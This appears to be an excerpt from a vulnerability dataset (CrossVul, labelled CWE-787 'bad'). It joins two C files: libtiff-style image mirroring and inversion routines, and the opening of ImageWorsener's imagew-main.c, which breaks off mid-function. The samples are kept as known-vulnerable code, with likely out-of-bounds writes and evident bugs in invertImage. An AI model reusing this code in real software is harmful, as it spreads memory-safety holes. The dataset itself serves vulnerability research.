0, high_bit = 0; uint32 col; uint32 longbuff1 = 0, longbuff2 = 0; uint64 mask_bits = 0, match_bits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSamples32bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint64)-1 >> (64 - bps); dst = obuff; /* bytes_per_sample = (bps + 7) / 8; */ /* bytes_per_pixel = ((bps * spp) + 7) / 8; */ /* if (bytes_per_pixel < (bytes_per_sample + 1)) */ /* shift_width = bytes_per_pixel; */ /* else */ /* shift_width = bytes_per_sample + 1; */ for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; high_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; high_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (64 - high_bit - bps); if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & match_bits) << (high_bit); if (ready_bits < 32) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end reverseSamples32bits */ static int reverseSamplesBytes (uint16 spp, uint16 bps, uint32 width, uint8 *src, uint8 *dst) { int i; uint32 col, bytes_per_pixel, col_offset; uint8 bytebuff1; unsigned char swapbuff[32]; if ((src == NULL) || (dst == NULL)) { TIFFError("reverseSamplesBytes","Invalid input or output buffer"); return (1); } bytes_per_pixel = ((bps * spp) + 7) / 8; switch (bps / 8) { case 8: /* Use memcpy for multiple bytes per sample data */ case 4: case 3: case 2: for (col = 0; col < (width / 2); col++) { col_offset = col * bytes_per_pixel; _TIFFmemcpy (swapbuff, src + col_offset, bytes_per_pixel); _TIFFmemcpy (src + col_offset, dst - col_offset - bytes_per_pixel, bytes_per_pixel); _TIFFmemcpy (dst - col_offset - bytes_per_pixel, swapbuff, bytes_per_pixel); } break; case 1: /* Use byte copy only for single byte per sample data */ for (col = 0; col < (width / 2); col++) { for (i = 0; i < spp; i++) { bytebuff1 = *src; *src++ = *(dst - spp + i); *(dst - spp + i) = bytebuff1; } dst -= spp; } break; default: TIFFError("reverseSamplesBytes","Unsupported bit depth %d", bps); return (1); } return (0); } /* end reverseSamplesBytes */ /* Mirror an image horizontally or vertically */ static int mirrorImage(uint16 spp, uint16 bps, uint16 mirror, uint32 width, uint32 length, unsigned char *ibuff) { int shift_width; uint32 bytes_per_pixel, bytes_per_sample; uint32 row, rowsize, row_offset; unsigned char *line_buff = NULL; unsigned char *src; unsigned char *dst; src = ibuff; rowsize = ((width * bps * spp) + 7) / 8; switch (mirror) { case MIRROR_BOTH: case MIRROR_VERT: line_buff = (unsigned char *)_TIFFmalloc(rowsize); if (line_buff == NULL) { TIFFError ("mirrorImage", "Unable to allocate mirror line buffer of %1u bytes", rowsize); return (-1); } dst = ibuff + (rowsize * (length - 1)); for (row = 0; row < length / 2; row++) { _TIFFmemcpy(line_buff, src, rowsize); _TIFFmemcpy(src, dst, rowsize); _TIFFmemcpy(dst, line_buff, rowsize); src += (rowsize); dst -= (rowsize); } if (line_buff) _TIFFfree(line_buff); if (mirror == MIRROR_VERT) break; case MIRROR_HORIZ : if ((bps % 8) == 0) /* byte alligned data */ { for (row = 0; row < length; row++) { row_offset = row * rowsize; src = ibuff + row_offset; dst = ibuff + row_offset + rowsize; if (reverseSamplesBytes(spp, bps, width, src, dst)) { return (-1); } } } else { /* non 8 bit per sample data */ if (!(line_buff = (unsigned char *)_TIFFmalloc(rowsize + 1))) { TIFFError("mirrorImage", "Unable to allocate mirror line buffer"); return (-1); } bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; for (row = 0; row < length; row++) { row_offset = row * rowsize; src = ibuff + row_offset; _TIFFmemset (line_buff, '\0', rowsize); switch (shift_width) { case 1: if (reverseSamples16bits(spp, bps, width, src, line_buff)) { _TIFFfree(line_buff); return (-1); } _TIFFmemcpy (src, line_buff, rowsize); break; case 2: if (reverseSamples24bits(spp, bps, width, src, line_buff)) { _TIFFfree(line_buff); return (-1); } _TIFFmemcpy (src, line_buff, rowsize); break; case 3: case 4: case 5: if (reverseSamples32bits(spp, bps, width, src, line_buff)) { _TIFFfree(line_buff); return (-1); } _TIFFmemcpy (src, line_buff, rowsize); break; default: TIFFError("mirrorImage","Unsupported bit depth %d", bps); _TIFFfree(line_buff); return (-1); } } if (line_buff) _TIFFfree(line_buff); } break; default: TIFFError ("mirrorImage", "Invalid mirror axis %d", mirror); return (-1); break; } return (0); } /* Invert the light and dark values for a bilevel or grayscale image */ static int invertImage(uint16 photometric, uint16 spp, uint16 bps, uint32 width, uint32 length, unsigned char *work_buff) { uint32 row, col; unsigned char bytebuff1, bytebuff2, bytebuff3, bytebuff4; unsigned char *src; uint16 *src_uint16; uint32 *src_uint32; if (spp != 1) { TIFFError("invertImage", "Image inversion not supported for more than one sample per pixel"); return (-1); } if (photometric != PHOTOMETRIC_MINISWHITE && photometric != PHOTOMETRIC_MINISBLACK) { TIFFError("invertImage", "Only black and white and grayscale images can be inverted"); return (-1); } src = work_buff; if (src == NULL) { TIFFError ("invertImage", "Invalid crop buffer passed to invertImage"); return (-1); } switch (bps) { case 32: src_uint32 = (uint32 *)src; for (row = 0; row < length; row++) for (col = 0; col < width; col++) { *src_uint32 = (uint32)0xFFFFFFFF - *src_uint32; src_uint32++; } break; case 16: src_uint16 = (uint16 *)src; for (row = 0; row < length; row++) for (col = 0; col < width; col++) { *src_uint16 = (uint16)0xFFFF - *src_uint16; src_uint16++; } break; case 8: for (row = 0; row < length; row++) for (col = 0; col < width; col++) { *src = (uint8)255 - *src; src++; } break; case 4: for (row = 0; row < length; row++) for (col = 0; col < width; col++) { bytebuff1 = 16 - (uint8)(*src & 240 >> 4); bytebuff2 = 16 - (*src & 15); *src = bytebuff1 << 4 & bytebuff2; src++; } break; case 2: for (row = 0; row < length; row++) for (col = 0; col < width; col++) { bytebuff1 = 4 - (uint8)(*src & 192 >> 6); bytebuff2 = 4 - (uint8)(*src & 48 >> 4); bytebuff3 = 4 - (uint8)(*src & 12 >> 2); bytebuff4 = 4 - (uint8)(*src & 3); *src = (bytebuff1 << 6) || (bytebuff2 << 4) || (bytebuff3 << 2) || bytebuff4; src++; } break; case 1: for (row = 0; row < length; row++) for (col = 0; col < width; col += 8 /(spp * bps)) { *src = ~(*src); src++; } break; default: TIFFError("invertImage", "Unsupported bit depth %d", bps); return (-1); } return (0); } /* vim: set ts=8 sts=8 sw=8 noet: */ /* * Local Variables: * mode: c * c-basic-offset: 8 * fill-column: 78 * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/bad_5479_4
crossvul-cpp_data_bad_3368_1
// imagew-main.c // Part of ImageWorsener, Copyright (c) 2011 by Jason Summers. // For more information, see the readme.txt file. #include "imagew-config.h" #include <stdlib.h> #include <string.h> #include <math.h> #include "imagew-internals.h" // Given a color type having an alpha channel, returns the index of the // alpha channel. // Return value is not meaningful if type does not have an alpha channel. static int iw_imgtype_alpha_channel_index(int t) { switch(t) { case IW_IMGTYPE_RGBA: return 3; case IW_IMGTYPE_GRAYA: return 1; } return 0; } static IW_INLINE iw_tmpsample srgb_to_linear_sample(iw_tmpsample v_srgb) { if(v_srgb<=0.04045) { return v_srgb/12.92; } else { return pow( (v_srgb+0.055)/(1.055) , 2.4); } } static IW_INLINE iw_tmpsample rec709_to_linear_sample(iw_tmpsample v_rec709) { if(v_rec709 < 4.5*0.020) { return v_rec709/4.5; } else { return pow( (v_rec709+0.099)/1.099 , 1.0/0.45); } } static IW_INLINE iw_tmpsample gamma_to_linear_sample(iw_tmpsample v, double gamma) { return pow(v,gamma); } static iw_tmpsample x_to_linear_sample(iw_tmpsample v, const struct iw_csdescr *csdescr) { switch(csdescr->cstype) { case IW_CSTYPE_SRGB: return srgb_to_linear_sample(v); case IW_CSTYPE_LINEAR: return v; case IW_CSTYPE_GAMMA: return gamma_to_linear_sample(v,csdescr->gamma); case IW_CSTYPE_REC709: return rec709_to_linear_sample(v); } return srgb_to_linear_sample(v); } // Public version of x_to_linear_sample(). IW_IMPL(double) iw_convert_sample_to_linear(double v, const struct iw_csdescr *csdescr) { return (double)x_to_linear_sample(v,csdescr); } static IW_INLINE iw_tmpsample linear_to_srgb_sample(iw_tmpsample v_linear) { if(v_linear <= 0.0031308) { return 12.92*v_linear; } return 1.055*pow(v_linear,1.0/2.4) - 0.055; } static IW_INLINE iw_tmpsample linear_to_rec709_sample(iw_tmpsample v_linear) { // The cutoff point is supposed to be 0.018, but that doesn't make sense, // because the curves don't intersect there. They intersect at almost exactly // 0.020. if(v_linear < 0.020) { return 4.5*v_linear; } return 1.099*pow(v_linear,0.45) - 0.099; } static IW_INLINE iw_tmpsample linear_to_gamma_sample(iw_tmpsample v_linear, double gamma) { return pow(v_linear,1.0/gamma); } static iw_float32 iw_get_float32(const iw_byte *m) { int k; // !!! Portability warning: Using a union in this way may be nonportable. union su_union { iw_byte c[4]; iw_float32 f; } volatile su; for(k=0;k<4;k++) { su.c[k] = m[k]; } return su.f; } static void iw_put_float32(iw_byte *m, iw_float32 s) { int k; // !!! Portability warning: Using a union in this way may be nonportable. union su_union { iw_byte c[4]; iw_float32 f; } volatile su; su.f = s; for(k=0;k<4;k++) { m[k] = su.c[k]; } } static iw_tmpsample get_raw_sample_flt32(struct iw_context *ctx, int x, int y, int channel) { size_t z; z = y*ctx->img1.bpr + (ctx->img1_numchannels_physical*x + channel)*4; return (iw_tmpsample)iw_get_float32(&ctx->img1.pixels[z]); } static IW_INLINE unsigned int get_raw_sample_16(struct iw_context *ctx, int x, int y, int channel) { size_t z; unsigned short tmpui16; z = y*ctx->img1.bpr + (ctx->img1_numchannels_physical*x + channel)*2; tmpui16 = ( ((unsigned short)(ctx->img1.pixels[z+0])) <<8) | ctx->img1.pixels[z+1]; return tmpui16; } static IW_INLINE unsigned int get_raw_sample_8(struct iw_context *ctx, int x, int y, int channel) { unsigned short tmpui8; tmpui8 = ctx->img1.pixels[y*ctx->img1.bpr + ctx->img1_numchannels_physical*x + channel]; return tmpui8; } // 4 bits/pixel static IW_INLINE unsigned int get_raw_sample_4(struct iw_context *ctx, int x, int y) { unsigned short tmpui8; tmpui8 = ctx->img1.pixels[y*ctx->img1.bpr + x/2]; if(x&0x1) tmpui8 = tmpui8&0x0f; else tmpui8 = tmpui8>>4; return tmpui8; } // 2 bits/pixel static IW_INLINE unsigned int get_raw_sample_2(struct iw_context *ctx, int x, int y) { unsigned short tmpui8; tmpui8 = ctx->img1.pixels[y*ctx->img1.bpr + x/4]; tmpui8 = ( tmpui8 >> ((3-x%4)*2) ) & 0x03; return tmpui8; } // 1 bit/pixel static IW_INLINE unsigned int get_raw_sample_1(struct iw_context *ctx, int x, int y) { unsigned short tmpui8; tmpui8 = ctx->img1.pixels[y*ctx->img1.bpr + x/8]; if(tmpui8 & (1<<(7-x%8))) return 1; return 0; } // Translate a pixel position from logical to physical coordinates. static IW_INLINE void translate_coords(struct iw_context *ctx, int x, int y, int *prx, int *pry) { if(ctx->img1.orient_transform==0) { // The fast path *prx = ctx->input_start_x+x; *pry = ctx->input_start_y+y; return; } switch(ctx->img1.orient_transform) { case 1: // mirror-x *prx = ctx->img1.width - 1 - (ctx->input_start_x+x); *pry = ctx->input_start_y+y; break; case 2: // mirror-y *prx = ctx->input_start_x+x; *pry = ctx->img1.height - 1 - (ctx->input_start_y+y); break; case 3: // mirror-x, mirror-y *prx = ctx->img1.width - 1 - (ctx->input_start_x+x); *pry = ctx->img1.height - 1 - (ctx->input_start_y+y); break; case 4: // transpose *prx = ctx->input_start_y+y; *pry = ctx->input_start_x+x; break; case 5: *prx = ctx->input_start_y+y; *pry = ctx->img1.width - 1 - (ctx->input_start_x+x); break; case 6: *prx = ctx->img1.height - 1 - (ctx->input_start_y+y); *pry = ctx->input_start_x+x; break; case 7: *prx = ctx->img1.height - 1 - (ctx->input_start_y+y); *pry = ctx->img1.width - 1 - (ctx->input_start_x+x); break; default: *prx = 0; *pry = 0; break; } } // Returns a value from 0 to 2^(ctx->img1.bit_depth)-1. // x and y are logical coordinates. static unsigned int get_raw_sample_int(struct iw_context *ctx, int x, int y, int channel) { int rx,ry; // physical coordinates translate_coords(ctx,x,y,&rx,&ry); switch(ctx->img1.bit_depth) { case 8: return get_raw_sample_8(ctx,rx,ry,channel); case 1: return get_raw_sample_1(ctx,rx,ry); case 16: return get_raw_sample_16(ctx,rx,ry,channel); case 4: return get_raw_sample_4(ctx,rx,ry); case 2: return get_raw_sample_2(ctx,rx,ry); } return 0; } // Channel is the input channel number. // x and y are logical coordinates. static iw_tmpsample get_raw_sample(struct iw_context *ctx, int x, int y, int channel) { unsigned int v; if(channel>=ctx->img1_numchannels_physical) { // This is a virtual alpha channel. Return "opaque". return 1.0; } if(ctx->img1.sampletype==IW_SAMPLETYPE_FLOATINGPOINT) { int rx, ry; translate_coords(ctx,x,y,&rx,&ry); if(ctx->img1.bit_depth!=32) return 0.0; return get_raw_sample_flt32(ctx,rx,ry,channel); } v = get_raw_sample_int(ctx,x,y,channel); return ((double)v) / ctx->img1_ci[channel].maxcolorcode_dbl; } static iw_tmpsample iw_color_to_grayscale(struct iw_context *ctx, iw_tmpsample r, iw_tmpsample g, iw_tmpsample b) { iw_tmpsample v0,v1,v2; switch(ctx->grayscale_formula) { case IW_GSF_WEIGHTED: return ctx->grayscale_weight[0]*r + ctx->grayscale_weight[1]*g + ctx->grayscale_weight[2]*b; case IW_GSF_ORDERBYVALUE: // Sort the R, G, and B values, then use the corresponding weights. if(g<=r) { v0=r; v1=g; } else { v0=g; v1=r; } if(b<=v1) { v2=b; } else { v2=v1; if(b<=v0) { v1=b; } else { v1=v0; v0=b; } } return ctx->grayscale_weight[0]*v0 + ctx->grayscale_weight[1]*v1 + ctx->grayscale_weight[2]*v2; } return 0.0; } // Based on color depth of the input image. // Assumes this channel's maxcolorcode == ctx->input_maxcolorcode static iw_tmpsample cvt_int_sample_to_linear(struct iw_context *ctx, unsigned int v, const struct iw_csdescr *csdescr) { iw_tmpsample s; if(csdescr->cstype==IW_CSTYPE_LINEAR) { // Sort of a hack: This is not just an optimization for linear colorspaces, // but is necessary to handle alpha channels correctly. // The lookup table is not correct for alpha channels. return ((double)v) / ctx->input_maxcolorcode; } else if(ctx->input_color_corr_table) { // If the colorspace is not linear, assume we can use the lookup table. return ctx->input_color_corr_table[v]; } s = ((double)v) / ctx->input_maxcolorcode; return x_to_linear_sample(s,csdescr); } // Based on color depth of the output image. static iw_tmpsample cvt_int_sample_to_linear_output(struct iw_context *ctx, unsigned int v, const struct iw_csdescr *csdescr, double overall_maxcolorcode) { iw_tmpsample s; if(csdescr->cstype==IW_CSTYPE_LINEAR) { return ((double)v) / overall_maxcolorcode; } else if(ctx->output_rev_color_corr_table) { return ctx->output_rev_color_corr_table[v]; } s = ((double)v) / overall_maxcolorcode; return x_to_linear_sample(s,csdescr); } // Return a sample, converted to a linear colorspace if it isn't already in one. // Channel is the output channel number. static iw_tmpsample get_sample_cvt_to_linear(struct iw_context *ctx, int x, int y, int channel, const struct iw_csdescr *csdescr) { unsigned int v1,v2,v3; iw_tmpsample r,g,b; int ch; ch = ctx->intermed_ci[channel].corresponding_input_channel; if(ctx->img1_ci[ch].disable_fast_get_sample) { // The slow way... if(ctx->intermed_ci[channel].cvt_to_grayscale) { r = x_to_linear_sample(get_raw_sample(ctx,x,y,ch+0),csdescr); g = x_to_linear_sample(get_raw_sample(ctx,x,y,ch+1),csdescr); b = x_to_linear_sample(get_raw_sample(ctx,x,y,ch+2),csdescr); return iw_color_to_grayscale(ctx,r,g,b); } return x_to_linear_sample(get_raw_sample(ctx,x,y,ch),csdescr); } // This method is faster, because it may use a gamma lookup table. // But all channels have to have the nominal input bitdepth, and it doesn't // support floating point samples, or a virtual alpha channel. if(ctx->intermed_ci[channel].cvt_to_grayscale) { v1 = get_raw_sample_int(ctx,x,y,ch+0); v2 = get_raw_sample_int(ctx,x,y,ch+1); v3 = get_raw_sample_int(ctx,x,y,ch+2); r = cvt_int_sample_to_linear(ctx,v1,csdescr); g = cvt_int_sample_to_linear(ctx,v2,csdescr); b = cvt_int_sample_to_linear(ctx,v3,csdescr); return iw_color_to_grayscale(ctx,r,g,b); } v1 = get_raw_sample_int(ctx,x,y,ch); return cvt_int_sample_to_linear(ctx,v1,csdescr); } // s is from 0.0 to 65535.0 static IW_INLINE void put_raw_sample_16(struct iw_context *ctx, double s, int x, int y, int channel) { size_t z; unsigned short tmpui16; tmpui16 = (unsigned short)(0.5+s); z = y*ctx->img2.bpr + (ctx->img2_numchannels*x + channel)*2; ctx->img2.pixels[z+0] = (iw_byte)(tmpui16>>8); ctx->img2.pixels[z+1] = (iw_byte)(tmpui16&0xff); } // s is from 0.0 to 255.0 static IW_INLINE void put_raw_sample_8(struct iw_context *ctx, double s, int x, int y, int channel) { iw_byte tmpui8; tmpui8 = (iw_byte)(0.5+s); ctx->img2.pixels[y*ctx->img2.bpr + ctx->img2_numchannels*x + channel] = tmpui8; } // Sample must already be scaled and in the target colorspace. E.g. 255.0 might be white. static void put_raw_sample(struct iw_context *ctx, double s, int x, int y, int channel) { switch(ctx->img2.bit_depth) { case 8: put_raw_sample_8(ctx,s,x,y,channel); break; case 16: put_raw_sample_16(ctx,s,x,y,channel); break; } } // s is from 0.0 to 1.0 static void put_raw_sample_flt32(struct iw_context *ctx, double s, int x, int y, int channel) { size_t pos; pos = y*ctx->img2.bpr + (ctx->img2_numchannels*x + channel)*4; iw_put_float32(&ctx->img2.pixels[pos], (iw_float32)s); } static iw_tmpsample linear_to_x_sample(iw_tmpsample samp_lin, const struct iw_csdescr *csdescr) { if(samp_lin > 0.999999999) { // This check is done mostly because glibc's pow() function may be // very slow for some arguments near 1. return 1.0; } switch(csdescr->cstype) { case IW_CSTYPE_SRGB: return linear_to_srgb_sample(samp_lin); case IW_CSTYPE_LINEAR: return samp_lin; case IW_CSTYPE_GAMMA: return linear_to_gamma_sample(samp_lin,csdescr->gamma); case IW_CSTYPE_REC709: return linear_to_rec709_sample(samp_lin); } return linear_to_srgb_sample(samp_lin); } // Public version of linear_to_x_sample(). IW_IMPL(double) iw_convert_sample_from_linear(double v, const struct iw_csdescr *csdescr) { return (double)linear_to_x_sample(v,csdescr); } // Returns 0 if we should round down, 1 if we should round up. // TODO: It might be good to use a different-sized matrix for alpha channels // (e.g. 9x7), but I don't know how to make a good one. static int iw_ordered_dither(int dithersubtype, double fraction, int x, int y) { double threshold; static const float pattern[2][64] = { { // Dispersed ordered dither 0.5/64,48.5/64,12.5/64,60.5/64, 3.5/64,51.5/64,15.5/64,63.5/64, 32.5/64,16.5/64,44.5/64,28.5/64,35.5/64,19.5/64,47.5/64,31.5/64, 8.5/64,56.5/64, 4.5/64,52.5/64,11.5/64,59.5/64, 7.5/64,55.5/64, 40.5/64,24.5/64,36.5/64,20.5/64,43.5/64,27.5/64,39.5/64,23.5/64, 2.5/64,50.5/64,14.5/64,62.5/64, 1.5/64,49.5/64,13.5/64,61.5/64, 34.5/64,18.5/64,46.5/64,30.5/64,33.5/64,17.5/64,45.5/64,29.5/64, 10.5/64,58.5/64, 6.5/64,54.5/64, 9.5/64,57.5/64, 5.5/64,53.5/64, 42.5/64,26.5/64,38.5/64,22.5/64,41.5/64,25.5/64,37.5/64,21.5/64 }, { // Halftone ordered dither 3.5/64, 9.5/64,17.5/64,27.5/64,25.5/64,15.5/64, 7.5/64, 1.5/64, 11.5/64,29.5/64,37.5/64,45.5/64,43.5/64,35.5/64,23.5/64, 5.5/64, 19.5/64,39.5/64,51.5/64,57.5/64,55.5/64,49.5/64,33.5/64,13.5/64, 31.5/64,47.5/64,59.5/64,63.5/64,61.5/64,53.5/64,41.5/64,21.5/64, 30.5/64,46.5/64,58.5/64,62.5/64,60.5/64,52.5/64,40.5/64,20.5/64, 18.5/64,38.5/64,50.5/64,56.5/64,54.5/64,48.5/64,32.5/64,12.5/64, 10.5/64,28.5/64,36.5/64,44.5/64,42.5/64,34.5/64,22.5/64, 4.5/64, 2.5/64, 8.5/64,16.5/64,26.5/64,24.5/64,14.5/64, 6.5/64, 0.5/64 }}; threshold = pattern[dithersubtype][(x%8) + 8*(y%8)]; return (fraction >= threshold); } // Returns 0 if we should round down, 1 if we should round up. static int iw_random_dither(struct iw_context *ctx, double fraction, int x, int y, int dithersubtype, int channel) { double threshold; threshold = ((double)iwpvt_prng_rand(ctx->prng)) / (double)0xffffffff; if(fraction>=threshold) return 1; return 0; } static void iw_errdiff_dither(struct iw_context *ctx,int dithersubtype, double err,int x,int y) { int fwd; const double *m; // x 0 1 // 2 3 4 5 6 // 7 8 9 10 11 static const double matrix_list[][12] = { { 7.0/16, 0.0, // 0 = Floyd-Steinberg 0.0 , 3.0/16, 5.0/16, 1.0/16, 0.0, 0.0 , 0.0, 0.0, 0.0 , 0.0 }, { 7.0/48, 5.0/48, // 1 = JJN 3.0/48, 5.0/48, 7.0/48, 5.0/48, 3.0/48, 1.0/48, 3.0/48, 5.0/48, 3.0/48, 1.0/48 }, { 8.0/42, 4.0/42, // 2 = Stucki 2.0/42, 4.0/42, 8.0/42, 4.0/42, 2.0/42, 1.0/42, 2.0/42, 4.0/42, 2.0/42, 1.0/42 }, { 8.0/32, 4.0/32, // 3 = Burkes 2.0/32, 4.0/32, 8.0/32, 4.0/32, 2.0/32, 0.0 , 0.0 , 0.0 , 0.0 , 0.0 }, { 5.0/32, 3.0/32, // 4 = Sierra3 2.0/32, 4.0/32, 5.0/32, 4.0/32, 2.0/32, 0.0, 2.0/32, 3.0/32, 2.0/32, 0.0 }, { 4.0/16, 3.0/16, // 5 = Sierra2 1.0/16, 2.0/16, 3.0/16, 2.0/16, 1.0/16, 0.0 , 0.0 , 0.0 , 0.0 , 0.0 }, { 2.0/4 , 0.0, // 6 = Sierra42a 0.0 , 1.0/4 , 1.0/4 , 0.0 , 0.0, 0.0 , 0.0 , 0.0 , 0.0 , 0.0 }, { 1.0/8 , 1.0/8, // 7 = Atkinson 0.0 , 1.0/8 , 1.0/8 , 1.0/8 , 0.0, 0.0 , 0.0 , 1.0/8 , 0.0 , 0.0 } }; if(dithersubtype<=7) m = matrix_list[dithersubtype]; else m = matrix_list[0]; fwd = (y%2)?(-1):1; if((x-fwd)>=0 && (x-fwd)<ctx->img2.width) { if((x-2*fwd)>=0 && (x-2*fwd)<ctx->img2.width) { ctx->dither_errors[1][x-2*fwd] += err*(m[2]); ctx->dither_errors[2][x-2*fwd] += err*(m[7]); } ctx->dither_errors[1][x-fwd] += err*(m[3]); ctx->dither_errors[2][x-fwd] += err*(m[8]); } ctx->dither_errors[1][x] += err*(m[4]); ctx->dither_errors[2][x] += err*(m[9]); if((x+fwd)>=0 && (x+fwd)<ctx->img2.width) { ctx->dither_errors[0][x+fwd] += err*(m[0]); ctx->dither_errors[1][x+fwd] += err*(m[5]); ctx->dither_errors[2][x+fwd] += err*(m[10]); if((x+2*fwd)>=0 && (x+2*fwd)<ctx->img2.width) { ctx->dither_errors[0][x+2*fwd] += err*(m[1]); ctx->dither_errors[1][x+2*fwd] += err*(m[6]); ctx->dither_errors[2][x+2*fwd] += err*(m[11]); } } } // 'channel' is the output channel. static int get_nearest_valid_colors(struct iw_context *ctx, iw_tmpsample samp_lin, const struct iw_csdescr *csdescr, double *s_lin_floor_1, double *s_lin_ceil_1, double *s_cvt_floor_full, double *s_cvt_ceil_full, double overall_maxcolorcode, int color_count) { iw_tmpsample samp_cvt; double samp_cvt_expanded; unsigned int floor_int, ceil_int; // A prelimary conversion to the target color space. samp_cvt = linear_to_x_sample(samp_lin,csdescr); if(color_count==0) { // The normal case: we want to use this channel's full available depth. samp_cvt_expanded = samp_cvt * overall_maxcolorcode; if(samp_cvt_expanded>overall_maxcolorcode) samp_cvt_expanded=overall_maxcolorcode; if(samp_cvt_expanded<0.0) samp_cvt_expanded=0.0; // Find the next-smallest and next-largest valid values that // can be stored in this image. // We will use one of them, but in order to figure out *which* one, // we have to compare their distances in the *linear* color space. *s_cvt_floor_full = floor(samp_cvt_expanded); *s_cvt_ceil_full = ceil(samp_cvt_expanded); } else { // We're "posterizing": restricting to a certain number of color shades. double posterized_maxcolorcode; // Example: color_count = 4, bit_depth = 8; // Colors are from 0.0 to 3.0, mapped to 0.0 to 255.0. // Reduction factor is 255.0/3.0 = 85.0 posterized_maxcolorcode = (double)(color_count-1); samp_cvt_expanded = samp_cvt * posterized_maxcolorcode; if(samp_cvt_expanded>posterized_maxcolorcode) samp_cvt_expanded=posterized_maxcolorcode; if(samp_cvt_expanded<0.0) samp_cvt_expanded=0.0; // If the number of shades is not 2, 4, 6, 16, 18, 52, 86, or 256 (assuming 8-bit depth), // then the shades will not be exactly evenly spaced. For example, if there are 3 shades, // they will be 0, 128, and 255. It will often be the case that the shade we want is exactly // halfway between the nearest two available shades, and the "0.5000000001" fudge factor is my // attempt to make sure it rounds consistently in the same direction. *s_cvt_floor_full = floor(0.5000000001 + floor(samp_cvt_expanded) * (overall_maxcolorcode/posterized_maxcolorcode)); *s_cvt_ceil_full = floor(0.5000000001 + ceil (samp_cvt_expanded) * (overall_maxcolorcode/posterized_maxcolorcode)); } floor_int = (unsigned int)(*s_cvt_floor_full); ceil_int = (unsigned int)(*s_cvt_ceil_full); if(floor_int == ceil_int) { return 1; } // Convert the candidates to our linear color space *s_lin_floor_1 = cvt_int_sample_to_linear_output(ctx,floor_int,csdescr,overall_maxcolorcode); *s_lin_ceil_1 = cvt_int_sample_to_linear_output(ctx,ceil_int ,csdescr,overall_maxcolorcode); return 0; } // channel is the output channel static void put_sample_convert_from_linear_flt(struct iw_context *ctx, iw_tmpsample samp_lin, int x, int y, int channel, const struct iw_csdescr *csdescr) { put_raw_sample_flt32(ctx,(double)samp_lin,x,y,channel); } static double get_final_sample_using_nc_tbl(struct iw_context *ctx, iw_tmpsample samp_lin) { unsigned int x; unsigned int d; // For numbers 0 through 254, find the smallest one for which the // corresponding table value is larger than samp_lin. // Do a binary search. x = 127; d = 64; while(1) { if(x>254 || ctx->nearest_color_table[x] > samp_lin) x -= d; else x += d; if(d==1) { if(x>254 || ctx->nearest_color_table[x] > samp_lin) return (double)(x); else return (double)(x+1); } d = d/2; } } // channel is the output channel static void put_sample_convert_from_linear(struct iw_context *ctx, iw_tmpsample samp_lin, int x, int y, int channel, const struct iw_csdescr *csdescr) { double s_lin_floor_1, s_lin_ceil_1; double s_cvt_floor_full, s_cvt_ceil_full; double d_floor, d_ceil; int is_exact; double s_full; int ditherfamily; int dd; // Dither decision: 0 to use floor, 1 to use ceil. // Clamp to the [0.0,1.0] range. // The sample type is UINT, so out-of-range samples can't be represented. // TODO: I think that out-of-range samples could still have a meaningful // effect if we are dithering. More investigation is needed here. if(samp_lin<0.0) samp_lin=0.0; if(samp_lin>1.0) samp_lin=1.0; // TODO: This is getting messy. The conditions under which we use lookup // tables are too complicated, and we still don't use them as often as we // should. For example, if we are not dithering, we can use a table optimized // for telling us the single nearest color. But if we are dithering, then we // instead need to know both the next-highest and next-lowest colors, which // would require a different table. The same table could be used for both, // but not quite as efficiently. Currently, we don't use use a lookup table // when dithering, except that we may still use one to do some of the // intermediate computations. Etc. if(ctx->img2_ci[channel].use_nearest_color_table) { s_full = get_final_sample_using_nc_tbl(ctx,samp_lin); goto okay; } ditherfamily=ctx->img2_ci[channel].ditherfamily; if(ditherfamily==IW_DITHERFAMILY_ERRDIFF) { samp_lin += ctx->dither_errors[0][x]; // If the prior error makes the ideal brightness out of the available range, // just throw away any extra. if(samp_lin>1.0) samp_lin=1.0; else if(samp_lin<0.0) samp_lin=0.0; } is_exact = get_nearest_valid_colors(ctx,samp_lin,csdescr, &s_lin_floor_1, &s_lin_ceil_1, &s_cvt_floor_full, &s_cvt_ceil_full, ctx->img2_ci[channel].maxcolorcode_dbl, ctx->img2_ci[channel].color_count); if(is_exact) { s_full = s_cvt_floor_full; // Hack to keep the PRNG in sync. We have to generate exactly one random // number per sample, regardless of whether we use it. if(ditherfamily==IW_DITHERFAMILY_RANDOM) { (void)iwpvt_prng_rand(ctx->prng); } goto okay; } // samp_lin should be between s_lin_floor_1 and s_lin_ceil_1. Figure out // which is closer, and use the final pixel value we figured out earlier // (either s_cvt_floor_full or s_cvt_ceil_full). d_floor = samp_lin-s_lin_floor_1; d_ceil = s_lin_ceil_1-samp_lin; if(ditherfamily==IW_DITHERFAMILY_NONE) { // Not dithering. 